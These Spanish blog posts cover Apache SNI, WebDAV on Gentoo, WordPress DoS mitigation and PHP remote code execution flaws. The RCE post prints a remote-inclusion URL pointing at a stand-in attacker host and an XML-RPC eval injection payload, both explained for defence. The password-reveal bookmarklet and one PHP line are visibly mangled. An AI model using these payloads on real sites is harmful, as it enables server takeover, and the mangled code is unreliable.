Oct
22
2010
0

WordPress y los ataques DoS



De aquí a un tiempo he visto algunos scripts bastante simples que, sorprendentemente, hacen bastante daño a malas configuraciones de sitios con wordpress. El sistema de DoS (Denial of Service, Denegación de Servicio) que se usa para el ataque es de tipo flood (inundación) enviando un número muy alto de peticiones. Por ejemplo: Under Security.

Normalmente, estos scripts se realizan buscando las peticiones más lentas de los sistemas web. Una vez detectadas, se procede a lanzar muchas de estas peticiones en muy poco tiempo. Los servidores web, ante una avalancha de peticiones, normalmente, comienzan a crear forks o workers (según el servidor y modo de funcionamiento) hasta llegar al límite máximo configurado… o a que se sature el sistema y termine no respondiendo.

Los sistemas GNU/Linux, al igual que la mayoría, tienen un uso de memoria limitada por el tamaño de la misma que haya instalada. Estos sistemas manejan una caché bastante grande y por ello, aunque se tenga 1GB o más instalado en el sistema, siempre se anda con una ocupación bastante alta de la memoria del sistema. Cuando esta se agota, se recurre a la memoria de intercambio (swap), que es mucho más lenta que la memoria convencional, por lo que el sistema comienza a ralentizarse.

Para evitar estos problemas, lo ideal es configurar de forma adecuada el servidor web, acorde a la memoria disponible, el número máximo de hilos que se puedan crear y el número máximo de forks o workers que se puedan lanzar para atender peticiones. Con esto evitamos que la memoria se use en exceso y, aunque las peticiones se atiendan más lentas, se asegure que el sistema permanecerá estable.

También habría que revisar la pila de entrada TCP para el puerto 80 (se puede ver a través de netstat en cualquier sistema GNU/Linux), por si acaso se saturase mucho, comenzar a cortar, vía cortafuegos (iptables), las direcciones IP que estén haciendo flood.

Fuente: Bosque Viejo

Share
Written by Javier Rodriguez in: Linux,Web | Etiquetas: , , , , ,
Ago
15
2010
0

Múltiples VirtualHost en SSL en una única IP (SNI)



Resumiendo mucho el funcionamiento de los VirtualHost en Apache, se puede decir que el cliente (nuestro navegador) envía al servidor el nombre del dominio al que deseamos acceder y Apache lo busca en sus configuraciones para entregarte la web. De esta forma en un solo servidor podemos tener alojados múltiples páginas web, cada una con su VirtualHost.

GET /blog/ HTTP/1.1
Host: javirodriguez.com.es
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.6) Gecko/2009020911 Firefox/3.0.6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: es,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Pero la cosa cambia si las webs deben ser transmitidas mediante HTTPS, esto es, estableciendo una conexión SSL. Gracias a esta tecnología es posible que todo el tráfico entre el servidor y nuestro navegador vaya cifrado y esta es la raíz del problema. Al tener todos los datos cifrados, el servidor no puede saber que dominio está pidiendo el navegador, por lo que los VirtualHost en base a nombres (dominios) pierden utilidad. Para paliar este problema, se ponían múltiples IPs en el servidor y se asignaba cada IP a un VirtualHost. De esta forma, cada web HTTPS tenia como destino una IP distinta y así el servidor era capaz de darte la web que estabas buscando. Esto es, se pasaba de tener VirtualHost por nombre a tenerlos por IP. Si tenías dos páginas web esto no era problema, pero si tenías 200… acelerarías la implantación de IPV6 y eso no es bueno 😉

Para solucionar este problema se publicó en 2006 el RFC 4366. En resumen, TLS pasaba a tener extensiones a nivel cliente y servidor. Una de las cuales permite que el cliente en el establecimiento de la conexión (antes de comenzar el cifrado) pueda indicar el dominio al que desea acceder. La que nos hace la magia es SNI. Para que esto funcione es necesario cumplir una serie de requisitos:

  • OpenSSL 0.9.8f o posterior con extensiones TLS (enable-tlsext)
  • Apache compilado con dicho OpenSSL
  • Navegadores Mozilla Firefox 2.0, Opera 8.0 Internet Explorer 7.0, Google Chome, Safari 3.2.1

Para activar esta extensión añadimos la siguiente línea a httpd.conf:

SSLStrictSNIVHostCheck on

Una vez hecho configuraríamos nuestros VirtualHost SSL como si fuesen los de toda la vida (sin SSL).

Listen 443
NameVirtualHost *:443
<VirtualHost *:443>
        ServerName test1.javirodriguez.com.es
        ServerAlias test1.javirodriguez.com.es
        DocumentRoot /var/www/test1
        Options FollowSymLinks
        <Directory /var/www/test1>
        AllowOverride All
        </Directory>
        ErrorLog /var/log/apache2/test1error.log
        CustomLog /var/log/apache2/test1access.log combined env=!client-ip-request
        SSLEngine on
        SSLCertificateFile /etc/ssl/test.pem
        SSLCertificateKeyFile /etc/ssl/test.key
</VirtualHost>
<VirtualHost *:443>
        ServerName test2.javirodriguez.com.es
        ServerAlias test2.javirodriguez.com.es
        DocumentRoot /var/www/test2
        Options FollowSymLinks
        <Directory /var/www/test2>
        AllowOverride All
        </Directory>
        ErrorLog /var/log/apache2/test2error.log
        CustomLog /var/log/apache2/test2access.log combined env=!client-ip-request
        SSLEngine on
        SSLCertificateFile /etc/ssl/test.pem
        SSLCertificateKeyFile /etc/ssl/test.key
</VirtualHost>

Si vemos el siguiente error en los logs de Apache es que nuestro navegador no es compatible:

[error] No hostname was provided via SNI for a name based virtual host

Y listo, ya puedes tener múltiples VirtualHost con SSL en una única IP 🙂

Fuente: Miguel Angel Nieto

Share
Written by Javier Rodriguez in: Linux,Web | Etiquetas: , , , ,
Ene
27
2010
0

Instalar soporte DAV para Apache en Gentoo



En esta guia voy a explicar el proceso de instalar el soporte WebDAV para Apache 2.2.x en Gentoo.

Si ya tenemos Apache instalado, deberemos asegurarnos que tiene soporte para los modulos que necesitamos. Estos modulos son:

  • dav
  • dav_fs
  • auth_digest
  • authn_file
  • setenvif

Si no estamos seguro si estan instalados o no, ejecutaremos el siguiente comando.

APACHE2_MODULES="dav dav_fs auth_digest authn_file setenvif" emerge -av apache

De esta manera compilaremos e instalaremos apache con soporte para WebDAV. Si quieres que en posteriores actualizaciones de Apache siempre se tenga el soporte, añade la siguiente linea en /etc/make.conf

APACHE2_MODULES="dav dav_fs auth_digest authn_file setenvif"

Una vez instalado Apache, deberemos decirle que cargue ciertos modulos. Para ello editamos el archivo /etc/conf.d/apache2 y en la linea de opciones de Apache (APACHE2_OPTS) añadimos los modulos quedando un estilo a lo siguiente:

APACHE2_OPTS="-D DEFAULT_VHOST -D DAV -D AUTH_DIGEST"

Una vez hecho esto, nos vamos a editar el archivo /etc/apache2/modules.d/45_mod_dav.conf para que quede un estilo a lo siguiente:

<IfDefine DAV>
<IfModule dav_module>
<IfModule dav_fs_module>
DavLockDB "/var/lib/dav/lockdb"

# The following example gives DAV write access to a directory called
# "uploads" under the ServerRoot directory.
<IfModule auth_digest_module>
<IfModule authn_file_module>

<Directory /var/www/localhost/htdocs/dav>
Dav On
Options none
AllowOverride None
Order allow,deny
Allow from all
<Limit GET PUT POST DELETE PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK>
AuthType Digest
AuthName "DAV-upload"
AuthUserFile "/var/www/localhost/htdocs/dav/.htpasswd-dav"
Require valid-user
</Limit>
</Directory>


</IfModule>
</IfModule>

</IfModule>
</IfModule>

# The following directives disable redirects on non-GET requests for
# a directory that does not include the trailing slash.  This fixes a
# problem with several clients that do not appropriately handle
# redirects for folders with DAV methods.
<IfModule setenvif_module>
BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully
BrowserMatch "MS FrontPage" redirect-carefully
BrowserMatch "^WebDrive" redirect-carefully
BrowserMatch "^WebDAVFS/1.[012345678]" redirect-carefully
BrowserMatch "^gnome-vfs/1.0" redirect-carefully
BrowserMatch "^XML Spy" redirect-carefully
BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
</IfModule>

</IfDefine>

Y por ultimo crear el archivo con usuarios y password utilizando htdigest2.

htdigest2 -c /var/www/localhost/htdocs/dav/.htpasswd-dav DAV-upload [user]

El -c se pone para crear el archivo, para añadir posteriormente mas usuarios no hay que ponerlo.

Cuando ya esta todo hecho, reiniciamos Apache y a funcionar.

Share
Written by Javier Rodriguez in: Gentoo,Web | Etiquetas: , ,
May
16
2009
0

Las principal vulnerabilidad Web


«Ningún lenguaje de programación puede prevenir código inseguro, aunque tenga las características necesarias para que los desarrolladores lo hagan seguro.«

-Chris Shiflett

Es importante tanto para desarrolladores como para administradores Web que tenga un cuidadoso conocimiento de estos ataques.

Debeis tambien percataros de que tu sitio Web puede ser afectado por muchos ataques que no estan completados en este artículo.

A pesar que los ejemplos aquí citados son código PHP esto es debido a su extendido uso en la Red por lo que deberiamos aplicarlos a los demás lenguajes de programación.

Las vulnerabilidad que vamos a analizar es la siguiente:

  • Ejecución remota de código.

Este artículo proporciona algunos ejemplos verdaderos de productos populares que han tenido estas mismas vulnerabilidades en el pasado, tambien proponemos algunas soluciones que se ofrecen con cada ejemplo para ayudar a prevenir estas vulnerabilidades.

La meta es proporcionar una descripción de estos problemas dentro de pequeños artículos.

Ejecución remota del código

Como el nombre sugiere, esta vulnerabilidad permite que un usuario malévolo ejecute código arbitrario a nivel servidor y recupere cualquier información deseada que este contiene.

Ocasionalmente, es difícil descubrir esta vulnerabilidad durante el periodo de testeo de la aplicación web, estos problemas se descubren a menudo mientras que se hace una revisión del código de fuente.

Sin embargo, cuando testeamos nuestra aplicación Web debemos tener en cuenta y recordar esta vulnerabilidad.

Grado: Altamente crítico

Productos previamente vulnerables:

  • phpbb, tablero de Invision, Cpanel, carro de Paypal, Drupal, y muchos otros…

Aquí analizaremos dos vulnerabilidades críticas de este tipo:

Register_globals en PHP:

Register_globals es un ajuste de PHP que controla la disponibilidad de variables “globales” en un script PHP (tal como datos fijados de la forma de un usuario, datos URL-codificados, o datos de las cookies).

En versiones anteriores de PHP, las register_globals fueron activadas «ON» por defecto, lo que hizo la vida de los desarrolladores más fácil – pero esto nos conducía a código menos seguro.

Cuando las register_globals estan activadas en php.ini, puede permitir que un usuario inicialice varias variables no inicializadas anteriormente de manera remota.

Muchas veces esto es utilizado para que un usuario malévolo pueda incluir ficheros no deseados y le permite ejecutar código arbitrario desde una localización remota.

Por ejemplo:

require ($page. ?.php?);

Aquí si el parámetro $page no se inicializa y si las register_globals están activados, el servidor será vulnerable a la ejecución remota de código incluyendo cualquier archivo arbitrario en el parámetro $page.

Este sería un ejemplo:

«www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt»

De esta manera, el archivo “http://www.attacker.com/attack.txt” es incluido y ejecutado en el servidor. Es un ataque muy simple pero eficaz.

XMLRPC en PHP:

Primero aclarar que XML-RPC es un protocolo de llamada a procedimiento remoto que usa XML para codificar las llamadas y HTTP como mecanismo de transporte. Es de uso general en empresas y ambientes grandes. XML-RPC utiliza el HTTP para su protocolo de transporte y XML para la codificación de los datos.

Varias puestas en práctica independientes de XML-RPC existen para los scripts de PHP.

Un defecto común es la implementación en un script de XML-RPC PHP usando la función eval dentro del servidor de XML-RPC.

Da lugar a una vulnerabilidad que podría permitir que un usuario malévolo remoto ejecute código en el sistema vulnerable.

Un usuario malévolo con la capacidad de subir un archivo hecho a mano de XML podría insertar el código PHP que entonces sería ejecutado por el sitio Web que está utilizando el código vulnerable de XML-RPC.

Aquí os dejo un archivo malévolo de ejemplo en XML:

<?xml version="1.0"?><br />
<methodCall><br />
<methodName>test.method</methodName></p>
<params>
<param>
<value><name>','')); phpinfo(); exit;/*</name></value><br />
</param>
</params>
</methodCall>

Este archivo de XML, cuando esta situado en el servidor vulnerable, hará la llamada de la función phpinfo () para ser ejecutada en el servidor vulnerable, este es el caso de un ejemplo simple que revelará varios detalles sobre la instalación de PHP.

Debajo una lista del software que han poseído previamente este estilo de bug:

  • Drupal, WordPress, Xoops, PostNuke, phpMyFaq, y muchos otros

Soluciones:

Versiones más recientes de PHP tienen register_globals desactivadas por defecto, no obstante algunos usuarios las activan porque las necesitan. Este registro se puede activar o desactivar en el archivo php.ini o en el .htaccess. La variable debe ser inicializada correctamente si este registro esta activado. Los administradores son los responsables del buen uso de estas variables.

Si no es estrictamente necesario lo aconsejable es que esta opcion este desactivada y en caso necesario que los datos sean filtrados de manera concienzuda para evitar esta peligrosa vulnerabilidad.

Share
Written by Javier Rodriguez in: Web | Etiquetas: ,
May
28
2008
2

Recupera tus contraseñas web fácilmente sin instalar nada


Asterisk Revealer es un código Javascript para Firefox que copias y pegas en la barra de direcciones muestra el contenido oculto en cualquier campo de texto de contraseñas (passwords) de una página web por medio de un popup.

Si tenemos una contraseña guardada y no recordamos cual es sólo podemos ver unos asteriscos que nos impiden recuperarla, ahora simplemente debemos copiar en la barra de direcciones el código que os pongo más abajo y saltará un popup que nos dirá cual es la contraseña.

El código es:

“javascript:(function(){var s,F,j,f,i; s = “”; F = document.forms; for(j=0; j<f.length; f=”F[j];” (i=”0;”><f.length; (f[i].type.tolowercase()=”=” +=”f[i].value”></f.length;></f.length;>”

Lógicamente sin los asteriscos.

Visto en: Mundos paralelos

Share
Written by Javier Rodriguez in: Web | Etiquetas:

Theme: TheBuckmaker.com Blog Themes | Hostpapa customer, Berlin